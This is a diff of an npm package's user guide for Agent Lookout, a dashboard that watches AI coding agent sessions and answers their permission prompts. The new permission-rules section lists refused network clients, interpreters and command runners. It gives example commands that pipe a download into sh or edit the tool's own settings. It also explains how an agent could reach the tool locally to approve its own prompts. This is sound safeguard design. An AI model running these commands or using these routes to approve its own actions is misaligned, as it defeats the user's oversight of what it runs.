agent-lookout 0.2.5 → 0.2.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +30 -0
- package/PRIVACY.md +41 -35
- package/README.md +26 -25
- package/SECURITY.md +14 -9
- package/dist/assets/{HistoryPanel-TXa0oPH4.js → HistoryPanel-Cwmn7YtJ.js} +1 -1
- package/dist/assets/SessionPanel-BJ5t_CPi.js +1 -0
- package/dist/assets/index-B_1Its0R.css +1 -0
- package/dist/assets/index-QSfCI-L_.js +3 -0
- package/dist/cli/agent-lookout.js +4 -4
- package/dist/cli/{chunk-OT3EGOTY.js → chunk-I6Q35DHC.js} +38 -1
- package/dist/cli/{chunk-Q73JDXXW.js → chunk-JSBQMY3Q.js} +1 -1
- package/dist/cli/{chunk-NWVEVCRT.js → chunk-LZ62RW3N.js} +8 -3
- package/dist/cli/{mcpServer-IFB2FEOZ.js → mcpServer-HJSH3WIS.js} +10 -7
- package/dist/cli/{startCommand-J3QS26SZ.js → startCommand-PR5JPWCT.js} +1545 -370
- package/dist/index.html +2 -2
- package/docs/API.md +97 -51
- package/docs/GUIDE.md +125 -28
- package/package.json +1 -1
- package/dist/assets/SessionPanel-BStoG7uq.js +0 -1
- package/dist/assets/index-BsTJp5-3.css +0 -1
- package/dist/assets/index-a7ubgAmE.js +0 -3
package/docs/GUIDE.md
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
|
|
3
3
|
## Requirements
|
|
4
4
|
|
|
5
|
-
- macOS or
|
|
5
|
+
- macOS, Linux or Windows. Agent Lookout is developed and tested on macOS. On Linux and on Windows it has been checked in CI by starting it with `npm start`, and not yet by a person on a Linux or Windows desktop. [On Linux](#on-linux) and [On Windows](#on-windows) say what differs there.
|
|
6
6
|
- Node.js 22.12 or newer. The [Mac app](#desktop-app) needs no Node.js.
|
|
7
7
|
- Claude Code, Codex or both. Neither needs any setup. Any other agent can appear too, by writing a status file: see [Your own agents](#your-own-agents).
|
|
8
8
|
- For Claude Code, a version that has the `claude agents` command. `claude agents --help` should print `Usage: claude agents`. Without that command Agent Lookout still reads the session files, but cannot list background jobs that have finished or failed.
|
|
@@ -39,7 +39,7 @@ The panel ends with four counts.
|
|
|
39
39
|
| Stale | Sessions idle for 24 hours or more without a break |
|
|
40
40
|
| Sessions | Every session found, split into open, finished and failed |
|
|
41
41
|
|
|
42
|
-
Each session is counted once. A stale session is counted under Stale and not under Idle. A dash in place of a number means nothing could be counted, because no agent could be read yet. It does not mean zero.
|
|
42
|
+
Each session is counted once. A stale session is counted under Stale and not under Idle, and a session whose permission prompt was just answered is counted under Working, not as needing you. A dash in place of a number means nothing could be counted, because no agent could be read yet. It does not mean zero.
|
|
43
43
|
|
|
44
44
|
Click Working or Idle to open a chart of how many sessions had that status over the last 15 minutes, hour or 6 hours. Click the panel's heading for the same chart of the sessions that needed you.
|
|
45
45
|
|
|
@@ -53,7 +53,7 @@ The Last hour chart has a bar for each five minutes of the last hour, on the clo
|
|
|
53
53
|
|
|
54
54
|
#### Sessions
|
|
55
55
|
|
|
56
|
-
The Sessions list holds every session that is not waiting for you, grouped in this order: Working, Idle, then sessions that finished or failed, then any whose status is unknown. Stale sessions are listed under Idle and counted beside it. The number by the list's title counts every session, including those in the Needs you panel. Each row gives:
|
|
56
|
+
The Sessions list holds every session that is not waiting for you, grouped in this order: Working, Idle, then sessions that finished or failed, then any whose status is unknown. Stale sessions are listed under Idle and counted beside it. A Claude Code session whose permission prompt you or a [permission rule](#permission-rules) just answered is listed first under Working, as Answered and with no time, for the second or two before Claude Code says what it does next. The number by the list's title counts every session, including those in the Needs you panel. Each row gives:
|
|
57
57
|
|
|
58
58
|
- the session's name
|
|
59
59
|
- the agent it belongs to, such as Claude Code, Codex or the name a [status file](#your-own-agents) gives, once there is more than one
|
|
@@ -235,14 +235,14 @@ Why, for each No and Partly:
|
|
|
235
235
|
- Claude Code, Jump: In VS Code, in tmux, and in a tab of Terminal or iTerm2 on a Mac. Not in the desktop app or another terminal.
|
|
236
236
|
- Claude Code, Quiet for: The file Agent Lookout reads is not rewritten as a session works.
|
|
237
237
|
- Claude Code, Stop: In a terminal, in VS Code and for background jobs. Not in the desktop app.
|
|
238
|
-
- Claude Code, Answer: With the Agent Lookout plugin
|
|
238
|
+
- Claude Code, Answer: With the Agent Lookout plugin, by Allow, Deny or a permission rule. Allow only if all is shown: never edits, plans or questions.
|
|
239
239
|
- Codex, Needs you: Codex does not record approval waits, so a session waiting for you shows as working.
|
|
240
240
|
- Codex, Finished: From Codex 0.155 on, once no Codex program has the session open.
|
|
241
241
|
- Codex, Failed: Codex does not record errors in its files.
|
|
242
242
|
- Codex, Names: The desktop app does not keep its titles in the names file Agent Lookout reads, so its sessions take their folder's name.
|
|
243
243
|
- Codex, Jump: Codex's files name no process to find, and Codex documents no link to a session.
|
|
244
244
|
- Codex, Stop: Codex's files name no process that Agent Lookout could confirm and stop.
|
|
245
|
-
- Codex, Answer: Codex records no approval waits, so there is nothing to answer from here.
|
|
245
|
+
- Codex, Answer: Codex records no approval waits, so there is nothing to answer from here, by hand or by a permission rule.
|
|
246
246
|
- Status files, Working and idle: If the agent writes working and idle.
|
|
247
247
|
- Status files, Needs you: If the agent writes waiting.
|
|
248
248
|
- Status files, Finished: If the agent writes finished.
|
|
@@ -251,13 +251,13 @@ Why, for each No and Partly:
|
|
|
251
251
|
- Status files, Jump: Nothing in a status file is used to reach a session.
|
|
252
252
|
- Status files, Quiet for: If the agent writes its file again as it works.
|
|
253
253
|
- Status files, Stop: Any program can write a status file, so nothing in one is used to stop a session.
|
|
254
|
-
- Status files, Answer: A status file only says a session waits, and holds nothing to answer it through.
|
|
254
|
+
- Status files, Answer: A status file only says a session waits, and holds nothing to answer it through, by hand or by a permission rule.
|
|
255
255
|
|
|
256
256
|
Each [other machine](#another-machine-over-ssh) adds a row for each agent found there, such as Claude Code on devbox, with what that machine's Agent Lookout says its agent can report, and No for Jump, Stop and Answer, which act on this computer only.
|
|
257
257
|
|
|
258
258
|
### Settings
|
|
259
259
|
|
|
260
|
-
Settings has
|
|
260
|
+
Settings has ten cards, and in the Mac app two more, [Menu bar](#menu-bar) and [Updates](#updates). Theme chooses Night, which is the default, Day, or System, which follows your computer's setting. Notifications turns notifications on and off, for the dashboard page and for Agent Lookout itself, and chooses what sends one. [Time rules](#time-rules) reminds you of a long wait, sets how long a session is idle before it is stale, and holds everything back during quiet hours. History says where the Events log and the charts are kept, how much they hold and since when, and clears them. Email says whether Agent Lookout emails you, and for what, and Webhook whether it posts to a webhook, such as a Slack channel's, and for what. Pull requests says whether each session's [pull request](#pull-requests) is shown, and whether `gh` can be asked for them. All three are set up when you start it, not here. Permission prompts says whether Allow and Deny are offered, and whether the [plugin](#install-the-plugin)'s requests reach Agent Lookout, and [Permission rules](#permission-rules), under it, keeps the rules that answer a permission prompt for you, and lists what they answered. This copy shows the version you are running and where Agent Lookout sends your data: nowhere, or only in the emails and webhook posts you set up, and with pull requests on, the names of repositories and branches to GitHub, through `gh`, unless `gh` was not found or is not signed in, when nothing goes to GitHub.
|
|
261
261
|
|
|
262
262
|
#### Notifications
|
|
263
263
|
|
|
@@ -330,7 +330,7 @@ The rules apply on top of the switches under Notifications, and of the settings
|
|
|
330
330
|
|
|
331
331
|
What quiet hours hold is kept in memory only. If Agent Lookout is stopped or restarted while they hold, what it held so far is forgotten: no summary comes of those hours, and a session that began waiting before the restart and still waits is not notified when they end. With the long wait reminder on, it is still reminded of, if it had not yet waited the reminder's minutes at the restart.
|
|
332
332
|
|
|
333
|
-
`AGENT_LOOKOUT_SETTINGS_FILE` keeps the rules in another file. Agent Lookout reads the file as it starts and writes it whole when you change a rule, with mode 600, in a folder it makes with mode 700, and never through a link. If it cannot read the file, the rules it holds are off, the card says why in a note, and the terminal you started Agent Lookout in prints the same line. A file that is not JSON is written again by your first change. One it could not read at all, such as one larger than 64 KB, is never written over: a change is not saved until you mend or remove the file and
|
|
333
|
+
`AGENT_LOOKOUT_SETTINGS_FILE` keeps the rules in another file. Agent Lookout reads the file as it starts, and again just before each change, which it makes to what the file holds then. It writes it whole when you change a rule, with mode 600, in a folder it makes with mode 700, and never through a link. If it cannot read the file, the rules it holds are off, the card says why in a note, and the terminal you started Agent Lookout in prints the same line. A file that is not JSON is written again by your first change. One it could not read at all, such as one larger than 64 KB, is never written over: a change is not saved until you mend or remove the file. Two copies running at once, such as the Mac app and `npx agent-lookout`, share the file. Each looks at it at every poll and reads it again when the other has saved a change, so a change made in one is in force in the other by its next poll, usually within 2 seconds. A change to the permission rules is made to the list the file holds just then, so it keeps the other copy's. The Time rules card saves all three rules at once, so a time rule changed in one copy before the other copy's change has reached it puts that change back. After changing the time rules in one copy, wait until the other copy's card shows the change before changing them there. [PRIVACY.md](../PRIVACY.md#the-settings-file) says what the file holds.
|
|
334
334
|
|
|
335
335
|
#### History
|
|
336
336
|
|
|
@@ -613,6 +613,7 @@ Agent Lookout then checks again that the process is that session: it reads the s
|
|
|
613
613
|
- A Claude Code background job, while Agent Lookout runs the `claude` command: not with `AGENT_LOOKOUT_CLAUDE_FEED=off`, and not with `AGENT_LOOKOUT_CLAUDE_HOME` set and `AGENT_LOOKOUT_CLAUDE_BIN` not.
|
|
614
614
|
- Not a session in Claude Code's desktop app, which looks after its own processes: its details say to stop it there. Not a session whose file does not say what kind it is, or which app it runs in.
|
|
615
615
|
- Not a Codex session, and not a session from a status file.
|
|
616
|
+
- No session on Windows: [On Windows](#on-windows) says why.
|
|
616
617
|
|
|
617
618
|
### Sessions left running
|
|
618
619
|
|
|
@@ -639,15 +640,15 @@ Paste it in a terminal and run it. It goes to the session's folder first, becaus
|
|
|
639
640
|
- A Claude Code background job that Claude Code lists as finished, failed or stopped, with its process gone, for as long as its row stays: 24 hours. These come from the `claude` command, so they are not listed with `AGENT_LOOKOUT_CLAUDE_FEED=off`.
|
|
640
641
|
- A Claude Code session you stopped with [Stop](#stop-a-session), in its details, once Stop has said it stopped, until you close them, or until the list shows it running again, as a background job does once `claude attach` opens it.
|
|
641
642
|
- Only when Claude Code gave the session's ID, a UUID, and its folder is known as a whole path. A job listed without its session ID has no Resume, and nor does a folder holding a line break or another control character, or a backslash, which fish would read inside the quotes.
|
|
642
|
-
- Not a session whose process still runs: resuming it would open a second copy of the same conversation. Not one that left the list on its own, since Agent Lookout cannot tell whether its process ended. Not a Codex session, and not a session from a status file.
|
|
643
|
+
- Not a session whose process still runs: resuming it would open a second copy of the same conversation. Not one that left the list on its own, since Agent Lookout cannot tell whether its process ended. Not a Codex session, and not a session from a status file. No session on Windows has Resume, as [On Windows](#on-windows) says.
|
|
643
644
|
|
|
644
645
|
## Answer a permission prompt
|
|
645
646
|
|
|
646
|
-
With the Agent Lookout plugin installed in Claude Code, a Claude Code session that waits for your permission shows Deny and Allow in the [Needs you](#needs-you) panel and at the top of its [details](#a-sessions-details). Above them is the whole of what it asks: for a shell command, every line of the command, in the mono, with any other input such as `run_in_background` and then the description Claude gave it, and for any other tool, its name and each of its inputs. While Allow is offered, all of it is drawn, however many lines it has. Press Allow to let that one request go ahead, or Deny to refuse it. Deny comes first, so it is in the same place whether Allow is offered or not. Neither button has focus until you move to it, and neither takes a press in the first second a request is shown, so a click meant for what was there before is not taken as an answer. A line then says what came of it, and the Events log says the session had a request allowed or denied from Agent Lookout. When the session asks again, its next request is shown under that line.
|
|
647
|
+
With the Agent Lookout plugin installed in Claude Code, a Claude Code session that waits for your permission shows Deny and Allow in the [Needs you](#needs-you) panel and at the top of its [details](#a-sessions-details). Above them is the whole of what it asks: for a shell command, every line of the command, in the mono, with any other input such as `run_in_background` and then the description Claude gave it, and for any other tool, its name and each of its inputs. While Allow is offered, all of it is drawn, however many lines it has. Press Allow to let that one request go ahead, or Deny to refuse it. Deny comes first, so it is in the same place whether Allow is offered or not. Neither button has focus until you move to it, and neither takes a press in the first second a request is shown, so a click meant for what was there before is not taken as an answer. A line then says what came of it, and the Events log says the session had a request allowed or denied from Agent Lookout. From that moment the wait is over: no reminder, email or webhook post follows for it. Claude Code can take a second or two to say the session is working again, but the session leaves Needs you at once, and until then is listed with the working sessions as Answered. If its file still says it waits 10 seconds after the answer, Agent Lookout takes it that the session needs you again, and tells you so. When the session asks again, its next request is shown under that line.
|
|
647
648
|
|
|
648
649
|
The prompt in the session is still there, and still works: whichever you answer first wins. Answered in the session, the request leaves the dashboard within a few seconds. A Deny from the dashboard lets Claude carry on without the tool, and tells it that you denied it from Agent Lookout, while No in the terminal stops the turn.
|
|
649
650
|
|
|
650
|
-
Allow is offered only when the whole of what it allows is shown. Deny alone is offered, with a line that says why, for an edit, a new file or a notebook edit, since the change itself is not shown, for a plan or a question, which take more than yes or no, for a request longer than 4,000 characters or 40 lines, for one that holds characters that cannot be shown as they are, which are written as their codes, for one with more than two blank lines in a row, which could push what follows out of sight, and for a command holding right-to-left letters, such as Hebrew or Arabic, which can draw it in another order than it runs. Agent Lookout allows or denies that one request and nothing more: it never changes the command and never saves a rule, so "Yes, and don't ask again" is answered in the session. Claude Code's own deny rules still apply after an Allow.
|
|
651
|
+
Allow is offered only when the whole of what it allows is shown. Deny alone is offered, with a line that says why, for an edit, a new file or a notebook edit, since the change itself is not shown, for a plan or a question, which take more than yes or no, for a request longer than 4,000 characters or 40 lines, for one that holds characters that cannot be shown as they are, which are written as their codes, for one with more than two blank lines in a row, which could push what follows out of sight, and for a command holding right-to-left letters, such as Hebrew or Arabic, which can draw it in another order than it runs. Agent Lookout allows or denies that one request and nothing more: it never changes the command and never saves a rule in Claude Code, so "Yes, and don't ask again" is answered in the session. Claude Code's own deny rules still apply after an Allow. To have Agent Lookout answer a kind of request for you every time, add a [permission rule](#permission-rules).
|
|
651
652
|
|
|
652
653
|
A request waits for an answer for 5 minutes, or `AGENT_LOOKOUT_ANSWER_WAIT` seconds, and then leaves the dashboard, and the prompt in the session decides. It also leaves when the session stops waiting, or ends. With Agent Lookout not running, the plugin does nothing and Claude Code asks as usual.
|
|
653
654
|
|
|
@@ -669,12 +670,71 @@ The plugin is one hook that Claude Code runs as it is about to ask you for permi
|
|
|
669
670
|
/plugin install agent-lookout@agent-lookout
|
|
670
671
|
```
|
|
671
672
|
|
|
672
|
-
From a shell, `claude plugin marketplace add Olanetsoft/agent-lookout` and `claude plugin install agent-lookout@agent-lookout` do the same. Claude Code records the plugin in its own settings, and runs its hook wherever Claude Code runs: in a terminal, in VS Code and in the desktop app. Agent Lookout itself writes nothing under `~/.claude`. To take it away, run `/plugin uninstall agent-lookout@agent-lookout`. The hook needs `curl`, which macOS has, and most Linux systems do.
|
|
673
|
+
From a shell, `claude plugin marketplace add Olanetsoft/agent-lookout` and `claude plugin install agent-lookout@agent-lookout` do the same. Claude Code records the plugin in its own settings, and runs its hook wherever Claude Code runs: in a terminal, in VS Code and in the desktop app. Agent Lookout itself writes nothing under `~/.claude`. To take it away, run `/plugin uninstall agent-lookout@agent-lookout`. The hook needs `curl`, which macOS has, and most Linux systems do. On Windows the plugin does nothing, and Claude Code asks as usual: [On Windows](#on-windows) says why.
|
|
673
674
|
|
|
674
675
|
Settings, under Permission prompts, says whether the plugin's requests reach Agent Lookout. When a Claude Code session waits for permission and no request comes, it says the plugin may not be installed.
|
|
675
676
|
|
|
676
677
|
To take Allow and Deny away altogether, start Agent Lookout with `AGENT_LOOKOUT_ANSWER=off`. [PRIVACY.md](../PRIVACY.md#the-claude-code-plugin-and-permission-prompts) says what the plugin sends, what Agent Lookout keeps and what it checks before it answers.
|
|
677
678
|
|
|
679
|
+
## Permission rules
|
|
680
|
+
|
|
681
|
+
Most permission prompts are routine. A permission rule answers one kind for you, every time: always allow, always ask or always deny. Rules answer Claude Code sessions with the [plugin](#install-the-plugin) installed, the one agent Agent Lookout can answer for. Codex records no approval waits, and a status file holds nothing to answer through, so neither has rules. There are none until you add one, and with none, nothing is answered on its own. No rule answers a prompt on Windows, as [On Windows](#on-windows) says.
|
|
682
|
+
|
|
683
|
+
The Permission rules card in Settings, under Permission prompts, lists the rules in their order. To add one, choose Allow, Ask or Deny, name a tool and, for Bash, a command, then press Add rule. Each rule has Move up, Move down, Edit and Remove, each a button you can reach with Tab, and focus stays with the rule you moved. Every change goes to Agent Lookout, which checks the rule again, saves the list in `~/.agent-lookout/settings.json`, or the file `AGENT_LOOKOUT_SETTINGS_FILE` names, and puts it in force for the next request. The change is made to the list the file holds then, and a second copy running beside it, such as the Mac app beside `npx agent-lookout`, has it by its next poll, as [Time rules](#time-rules) says of the file. The card shows what was saved: a change that was not saved leaves the list as it was, and the line under Add rule, or for a rule's own buttons a note above the rules, says why. A list holds 100 rules at most.
|
|
684
|
+
|
|
685
|
+
A rule names a tool as Claude Code names it, the whole name in the same capitals, such as `Bash`, `Read`, `WebFetch` or `mcp__docs__search`, or `*` for every tool. A deny or an ask rule can also name an MCP server alone, `mcp__docs`, for every tool of that server, as Claude Code's own rules do. A rule for Bash can also name a command: one command exactly, `npm test`, or a prefix written as Claude Code writes one, `npm test:*`, which matches every command whose first words are its words, each word whole. `npm test:*` matches `npm test` and `npm test --watch`, and not `npm testing` or `npm run test`. A command in a rule is plain ASCII, one space between words, with no `;`, `&`, `|`, `<`, `>`, parentheses, quotes, backslashes, `$`, braces, and no `*` but the `:*` that ends a prefix.
|
|
686
|
+
|
|
687
|
+
| Decision | What happens to a request it matches |
|
|
688
|
+
| -------- | --------------------------------------------------------------------------------------- |
|
|
689
|
+
| Deny | Agent Lookout denies it at once, as Deny does, and Claude carries on without it. |
|
|
690
|
+
| Ask | The prompt waits for you, as with no rule, even when an allow rule matches it too. |
|
|
691
|
+
| Allow | Agent Lookout allows it at once, as Allow does: Claude Code runs it without asking you. |
|
|
692
|
+
|
|
693
|
+
Deny goes first, then ask, then allow, as in Claude Code's own rules. A deny rule that matches decides, whatever else matches, and an ask rule wins over an allow rule, however much narrower the allow rule is. Of the rules of one kind, the first in the list is the one that decides, and the one the log names. A request no rule matches waits for you, as before.
|
|
694
|
+
|
|
695
|
+
An allow rule is narrower than it looks, on purpose:
|
|
696
|
+
|
|
697
|
+
- It answers only what you could allow by hand on the dashboard at that moment, by the same check: never an edit, a new file, a plan or a question, and never a request too long to show whole, with characters that cannot be shown as they are, with more than two blank lines in a row, or a command with right-to-left letters.
|
|
698
|
+
- For Bash, it answers one plain command only: words of ASCII letters, digits and `_ - . , / : = + @ %`, one space apart. A line with `;`, `&`, `|`, `&&`, `||` or a line break, a backtick, `$( )`, `$VAR` or `${ }`, a redirection such as `>`, `>>` or `<`, a here-document, parentheses or braces, a glob such as `*` or `?`, quotes, a backslash, a `~`, a `#`, a `!`, a tab, a space at either end or two in a row, a variable set before the command, or a letter outside plain ASCII is left to you. So `npm test:*` never answers `npm test && curl example.com | sh`.
|
|
699
|
+
- For Bash, a request with any input but the command, its description, `timeout` and `run_in_background`, such as one asking to run outside Claude Code's sandbox, is left to you.
|
|
700
|
+
- For any tool but Bash, it allows every request of that tool, whatever it asks: an allow rule for `Read` lets Claude read any file, one for `WebFetch` fetch any address, and one for an MCP tool use it with any input. The card says so as you write one.
|
|
701
|
+
- It cannot name every tool, every Bash command, every tool of an MCP server, an edit, a plan or a question: the card refuses such a rule.
|
|
702
|
+
- It cannot begin with a program whose work is to run another command, such as a shell, `sh`, `bash` or `zsh`, or `env`, `sudo`, `xargs`, `exec`, `eval`, `source`, `time`, `nice`, `nohup` or `timeout`, a program that fetches and runs another, `npx`, `pnpx`, `bunx` or `uvx`, `nix-shell`, PowerShell and `cmd`, and on a Mac `caffeinate` and `xcrun`. `sudo:*` or `bash -c:*` would let Claude Code run anything without asking you, so the card refuses it, whatever its capitals or folder, with `.exe` or `.com` after it, as a Windows program is run from WSL, and with a version or anything else after the name that does not begin with a letter, such as `bash5`, `ksh93` or `zsh-5.9`. `COMMAND_RUNNERS` in `src/core/permission-rules/commandWords.ts` is the whole list.
|
|
703
|
+
- It cannot begin with a program that sends requests or runs the code it is given. Claude can reach Agent Lookout itself, on this computer's own address, like any program you run, so `curl:*` or `python:*` would let it add a rule here, or answer its own prompt, without asking you. These are the network clients `curl`, `wget`, `nc`, `ncat`, `netcat`, `socat`, `telnet`, `http`, `https`, `httpx`, `xh`, `xhs`, `grpcurl`, `websocat`, `aria2c`, `ftp`, `sftp`, `scp`, `ssh`, `lynx`, `links`, `elinks` and `w3m`, and the interpreters `node`, `nodejs`, `deno`, `bun`, `tsx`, `ts-node`, `esno`, `vite-node`, `zx`, `python`, `ipython`, `bpython`, `pypy`, `ruby`, `irb`, `perl`, `php`, `lua`, `luajit`, `java`, `jshell`, `jrunscript`, `kotlin`, `scala`, `groovy`, `clojure`, `clj`, `dart`, `elixir`, `iex`, `erl`, `escript`, `ghci`, `runghc`, `runhaskell`, `ocaml`, `racket`, `guile`, `sbcl`, `raku`, `rakudo`, `R`, `Rscript`, `julia`, `swift`, `osascript`, `tclsh`, `wish`, `expect`, `awk`, `gawk`, `mawk` and `nawk`, whatever their capitals or folder, with `.exe` or `.com` after them, and with anything after the name that begins with a character other than a letter, such as a digit, a dot, a dash or an underscore, as in `python3.12`, `python3-intel64`, `nc.openbsd` or `perl5.34`. That also refuses a few that only share the name, such as `ssh-keygen` or `node_exporter`. An exact command is refused too, such as `python -m pytest`. Answer such commands by hand, or allow a script the project owns, such as `./scripts/test.sh`, knowing Claude can edit it. `NETWORK_CLIENTS_AND_INTERPRETERS` in the same file is the whole list.
|
|
704
|
+
- A rule for a package manager or a build tool names its subcommand: `npm test:*`, never `npm:*` or `npm --yes:*`. These are `npm`, `pnpm`, `yarn` and `yarnpkg`, `bundle` and `bundler`, `cargo`, `go`, `dotnet`, `uv`, `pipx`, `poetry`, `nix`, `docker`, `docker-compose` and `podman`. Matched word by word, the rule answers that subcommand and no other, whatever shortened form or second name the tool would also take, so `npm test:*` never answers `npm exe`, `npm innit` or `npm -- exec`.
|
|
705
|
+
- It cannot name a subcommand that fetches code, or runs code it is pointed at, and no command it answers holds one, wherever it comes before the arguments begin: `npm exec`, `x`, `init`, `innit`, `create` and `explore`, and for npm any start of their names two letters or longer, such as `exe`; `pnpm dlx`, `exec`, `create` and `x`; `yarn` and `yarnpkg` `dlx`, `exec`, `create` and `node`; `bundle` and `bundler` `exec`, `e`, `ex` and `exe`; `cargo run` and `r`; `go run`, `generate` and `tool`; `dotnet run`, `exec` and `tool`; `uv run` and `tool`; `pipx run`; `poetry run`; `nix run`, `shell` and `develop`; `docker` and `podman` `run`, `exec`, `create`, `start`, `build`, `buildx`, `compose` and `container`; and `docker-compose up`, `run`, `exec`, `start` and `create`. `SUBCOMMANDS_THAT_RUN_CODE` in the same file is the whole list.
|
|
706
|
+
- It never answers a command with an option through which its program runs another: `git -c`, `--config-env`, `--exec-path`, `--upload-pack` and `--receive-pack`, `go -exec`, `-toolexec` and `-vettool`, and `npm --script-shell`, `--node-options` and `--call`, with one dash or two and with or without a value.
|
|
707
|
+
- It never answers a command that names Agent Lookout's own files or a folder above them: a word with `.agent-lookout` in it, in any capitals; a path, or an option's value such as `--directory=…`, that is the settings file, the socket or any folder above them, up to your home folder and `/`, also when written with `..`, `//` or `/./`; the settings file's own name where a setting put it outside `.agent-lookout`; and any path under `/.vol`, which reaches a file by number on a Mac. Paths are also read from the session's folder, so `../..` from a project is your home folder, and no command of a session whose folder is your home folder, or a folder above it, is answered at all. So `sed:*` never answers `sed -i s/deny/allow/` on the settings file, nor `rsync:*` a copy into your home folder. The card refuses a rule that names the folder.
|
|
708
|
+
|
|
709
|
+
The rules are read whole or not at all. A saved list that holds a rule Agent Lookout refuses, such as an allow rule for `curl` saved before it was refused, is read as no rule at all, as a list it cannot read is: none of its rules is used, and a note on the card says so. Changing a rule in Settings then writes the list again with only the rules the card shows. To keep the others, take the refused rule out of the file instead, and they are in force again by the next poll.
|
|
710
|
+
|
|
711
|
+
An allow rule trusts what it names, and those lists cannot hold every program that can run another or send a request. A prefix trusts the program with every word after its own, but for the subcommands, options and paths above: `git:*` allows `git config`, which can set a program for git to run later, and `npm install:*` runs the install scripts of every package it fetches, as `pip install:*` does. A rule for a file Claude can edit, such as `./scripts/test.sh`, or for a program that runs one, such as `npm test` or `make`, lets Claude run whatever it writes into that file, and what it writes can reach Agent Lookout too: it can add a rule here, or answer Claude's own prompt, without asking you, and the rule it adds stays. Name the words that make a command one you want run without asking, `git status` or `npm test`, rather than the program alone, and keep allow rules for what you would allow every time. Reading the words cannot catch what a command does with no word that names it: an archive or a patch that holds full paths, a script or a settings file Claude can edit, a package's install scripts. Claude Code's sandbox, which an allow rule never lets a command leave, is the fence for those.
|
|
712
|
+
|
|
713
|
+
A deny or an ask rule only holds a request back, so it matches more loosely. A rule for a tool matches every request of that tool. A rule for a command matches when any command in the line has its words:
|
|
714
|
+
|
|
715
|
+
- After `;`, `&&`, `|` or a line break, inside `$( )` or backticks, after `then`, `else` or `do`, with quotes, backslashes and the `$` of `$'…'` taken out, and variables set before it passed over, so `rm:*` denies `cd build && rm -rf dist`.
|
|
716
|
+
- The program by its name, whatever its capitals or its folder, so `rm:*` denies `RM -rf dist` and `/bin/rm -rf dist`. A Mac's disk finds `RM` as `rm`.
|
|
717
|
+
- The rule's other words in order, with any words between them, so an option before them does not step around the rule: `git push:*` holds back `git -C . push` and `git --no-pager push`, and `git push --force:*` holds back `git push origin main --force`. That also holds back `git commit -m push`, which asks or denies more than the rule says, never less. An exact command, `git push`, holds back no command with a word after `push`.
|
|
718
|
+
- After a program that runs another, such as `sudo`, `xargs`, `env`, `time` or `bash -c`, so `rm:*` denies `ls | xargs rm` and `sudo rm -rf dist`.
|
|
719
|
+
|
|
720
|
+
It still goes by the words as written, in the first 4,000 characters, which is what the dashboard shows. A command that a program not in that list runs, such as `npm exec rm`, or that a script, an alias or a git setting runs, is not caught, and neither is a letter that only looks like another. A deny rule here is a convenience, not a fence. Claude Code's own deny rules and its sandbox are the places to fence a command off.
|
|
721
|
+
|
|
722
|
+
A rule answers by the same path as Allow and Deny. Agent Lookout waits for the session's file to say it waits for permission, reads it again, answers only in that same wait, and hands the plugin one of the same two answers. It never rewrites a command and never saves a rule in Claude Code. The prompt in the session may show for the moment that takes, and Claude Code's file can say the session waits for a second or two after the answer. Agent Lookout knows it answered, or that a rule is about to, so it takes that wait as over: no notification, email, webhook post or reminder says the session needs you, the Events log shows no wait, only the answer, and [Waits](#waits) does not count it. Only a read of the file in the instant before the plugin's request reaches Agent Lookout can still see the wait begin. Nor does the session light the lamp or come into the Needs you panel, its count, the tab's title, or the Dock icon and menu bar of the Mac app, and the history, its charts and the Timeline show no wait. For that second or two it is listed with the working sessions as Answered, and [`agent-lookout status`](#in-the-terminal) and [`agent-lookout mcp`](#for-your-agents) count it as working too. With `AGENT_LOOKOUT_ANSWER=off`, no rule answers anything, and the card says so.
|
|
723
|
+
|
|
724
|
+
Each answer a rule gives is an event in the Events log, such as "checkout-flow had Bash allowed by the rule Bash(npm test:*)", and the card lists the last 100 since Agent Lookout started, under Recent automatic answers, with the session, the time, the tool, the decision and the rule. Neither holds the command or anything else of what was asked. The Events log is kept in the [history](#history), so its rule answers are kept for 8 days, as every event is. [PRIVACY.md](../PRIVACY.md#the-settings-file) says what the rules file holds.
|
|
725
|
+
|
|
726
|
+
### Claude Code's own rules come first
|
|
727
|
+
|
|
728
|
+
A deny or an allow rule in Claude Code's own settings, such as one in `~/.claude/settings.json` or in a project's `.claude/settings.json`, decides before Agent Lookout is asked. Claude Code runs the plugin's hook only when it shows you a permission prompt. A call its own rules already deny or allow shows no prompt, so the hook does not run and no rule here is consulted. A deny rule there wins over an allow rule here, and an allow rule there wins over a deny rule here.
|
|
729
|
+
|
|
730
|
+
An ask rule there is different. It is what makes Claude Code show the prompt, and so what runs the hook. An allow rule here then answers that prompt as Allow would. An ask rule in Claude Code's settings does not stop an allow rule here. To be asked every time, add the ask rule here.
|
|
731
|
+
|
|
732
|
+
How this was checked, on 2026-10-07, and only this far:
|
|
733
|
+
|
|
734
|
+
- Claude Code's [hooks reference](https://code.claude.com/docs/en/hooks) says a PermissionRequest hook runs when the user is shown a permission dialog, and also in a session started with `-p`, where Claude Code would otherwise deny the call. Its [permissions page](https://code.claude.com/docs/en/permissions) says rules are evaluated deny, then ask, then allow, and that an ask rule prompts for confirmation. The same page says Claude Code evaluates deny and ask rules whatever a PreToolUse hook returns. That is about PreToolUse, which runs before the prompt; neither page says the same of a PermissionRequest hook's allow.
|
|
735
|
+
- The Claude Code 2.1.292 program, read with `strings` and not run, describes the PermissionRequest hook as running "When a permission dialog is displayed".
|
|
736
|
+
- The tests run the plugin's own hook script against Agent Lookout's socket, with no Claude Code. No real Claude Code session was started to watch a deny rule there keep the hook from running, or an ask rule there let it run. If Claude Code changes when it runs the hook, this section changes with it.
|
|
737
|
+
|
|
678
738
|
## Keyboard
|
|
679
739
|
|
|
680
740
|
Every view answers to a few keys. Press `?` to see them all.
|
|
@@ -728,7 +788,7 @@ checkout-flow Waiting for permission 4m 12s
|
|
|
728
788
|
search-indexing Asked you a question 31s
|
|
729
789
|
```
|
|
730
790
|
|
|
731
|
-
When nothing needs you it prints one line, such as `Nothing needs you · 4 working · 2 idle`. Sessions are counted as the Overview counts them: a stale session is counted as stale and not as idle, and
|
|
791
|
+
